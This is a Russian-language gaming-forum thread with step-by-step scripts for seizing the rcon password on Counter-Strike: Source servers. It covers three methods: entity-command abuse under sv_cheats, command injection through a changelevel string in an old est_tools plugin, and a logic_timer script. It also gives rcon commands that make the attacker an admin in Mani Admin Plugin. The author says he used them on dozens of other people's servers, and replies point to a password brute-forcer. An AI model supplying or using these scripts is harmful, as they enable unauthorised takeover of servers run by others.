[Уязвимость] Rcon brute CSS

[SkaterSPB]

Долго я искал по инету статьи, вот нашол парочку и постараюсь объединить их в одну нормальную.

Способ 1.

Что бы получить rcon пасс на сервере должен быть включен sv_cheats 1

Создаём файл с названием к примеру hack1.cfg и вписываем эти команды:

give point_servercommand
ent_create env_spark
ent_fire env_spark addoutput «targetname poop»
ent_fire poop addoutput «MaxDelay .1»
ent_fire poop addoutput «Magnitude .1»
ent_fire poop addoutput «TrailLength .1»
ent_fire poop addoutput «spawnflags 256»
ent_fire poop addoutput «onspark point_servercommand,command,rcon_password 123»
ent_fire poop addoutput «onspark point_servercommand,command,ma_rcon rcon_password 123»
ent_fire poop sparkonce

Потом сохраняем его в папке counter-strike source\\cstrike\\cfg
Заходим в игру и вводим в консоль exec hack1.cfg
Всё теперь rcon пароль стал 123


Что бы сделать себя админом в Mani Admin Plugin нужно сделать так же .cfg файл или ввести эти команды:

rcon ma_client addclient «client01»
rcon ma_client addsteam «client01» «Ваш Стим Айди»
rcon ma_client setaflag «client01» «+client»

Способ 2.

взлом rcon с sv_cheats 0 в CSS

И так, теперь мы расмотрим выриант со взломом пароля когда стоит sv_cheats 0

Для этого нужно что бы на сервере стоял est_tools старой версии

Далле надо создать файл vzlom.cfg с таким содержимым:

»changelevel ««ma_Say;rcon_password vzlom»

Далее нужно зайти на сервер и прописать rcon_password vzlom
Потом написать exec vzlom.cfg и запустить, сделать это нужно около 10 раз.

Потом опять пишешм rcon_password vzlom
И проверяем такой командой в консоле: rcon say я админ??oO
Если ваше сообщение высветилось значит вы сменили rcon.


Для получения админки нужно использвать этот конфиг:

rcon ma_client AddClient «NAME»
// Change the Client Above and below. Change the id below.
rcon ma_client AddSteam «NAME» «YOUR STEAM ID HERE»
rcon ma_client SetAFlag «NAME» «+#»
rcon ma_client setiflag «NAME» «+#»

что бы дать админку по айпи надо сделать так:
rcon ma_client AddClient «NAME»
rcon ma_client AddIp «NAME» «Твой Айпи Тут»
rcon ma_client SetAFlag «NAME» «+#»
rcon ma_client setiflag «NAME» «+#»


echo ADMIN ADDED
echo ADMIN client = NAME

Способ 3.

Собственно еще 1 способ взлома rcon, при "sv_cheats 0"

ent_create logic_timer
ent_fire taketimer toggle
ent_fire taketimer addoutput "refiretime 0.01"
ent_create logic_timer;wait
ent_fire logic_timer addoutput "targetname taketimer"
ent_fire taketimer toggle
ent_fire taketimer addoutput "refiretime 0.01"
taketimer enable;wait
"changelevel ""dom;rcon_password dom"
ent_fire taketimer addoutput "startdisabled 0"
ent_fire taketimer addoutput "UseRandomTime 0"
ent_fire point_servercommand kill
give point_servercommand
echo "HaCkeD By TNX"
echo "Le Pass rcon Est Maintenant : dom"
  hack.rar

Делаем как было сказано выше копируем, сохраняем, exec hack.cfg далее пишем "rcon_password dom" и проверяем "rcon say 1" дальше несколько вариантов
1) напишет bad rcon тут в большинстве случаев ниче не поделать, хотя у меня было так что когда на сервере никого не было скрипт работал, а когда зашел на след. день и был главный админ выдавало bad rcon админ ушел скрипт сработал так что я хз.
2) не найден changelevel ent_fire значит нет плагинов
3) вас забанит. да на некоторых серверах так, но не на многих автобан мне был на 3 серверах
4) все сканало значит пишем "rcon sv_cheats 1" далее пользуемся скриптом mist`а для взлома админки Menu.rar

копируем в cstrike\cfg пишем exec menu/menuloaded, нажимаем insert или вводим exec menu/menumain (когда уже стоит sv_cheats 1), все появляется интерфейс. Ну а там уже все понятно цифра 7 на цифровой клавиатуре и два способа получения админки. А да сначала нужно отредактировать файлы в menu/rcon где ввести ваш steam.


Из примерно 50-70 проверенных серваков у меня сработало 15 в основном конечно это домашние нубские ноустим клан сервера, но были и такие где вечером битком забито по 30 человек.

[lcd1232]

SkaterSPB
А есть на подобии этой статьи про cs 1.6 и будет ли она работать на cs 1.6?

[SkaterSPB]

Цитата: Сообщение от lcd1232 SkaterSPB А есть на подобии этой статьи про cs 1.6 и будет ли она работать на cs 1.6?

есть прога hlbrute - перебирает пароли к ркону есть на форуме! поиск тебе в руки

[tut1]

Бред

[nevolaa]

можно ктонить сделает прогу типо hlbrute только для source с етими скриптами а то лень самому все прописывать)

[куку97]

извините я не понял.. получить ркон окей я понял. а вот с админкой то что
у меня нет стим у мене ксс но стим. можно не редактировать свой стим в скрипте админ меню??
Что делать???

[volodya_lox]

Цитата: Сообщение от SkaterSPB rcon ma_client AddClient «NAME» // Change the Client Above and below. Change the id below. rcon ma_client AddSteam «NAME» «YOUR STEAM ID HERE» rcon ma_client SetAFlag «NAME» «+#» rcon ma_client setiflag «NAME» «+#» что бы дать админку по айпи надо сделать так: rcon ma_client AddClient «NAME» rcon ma_client AddIp «NAME» «Твой Айпи Тут» rcon ma_client SetAFlag «NAME» «+#» rcon ma_client setiflag «NAME» «+#» echo ADMIN ADDED echo ADMIN client = NAME

это от "Nosorog Hack"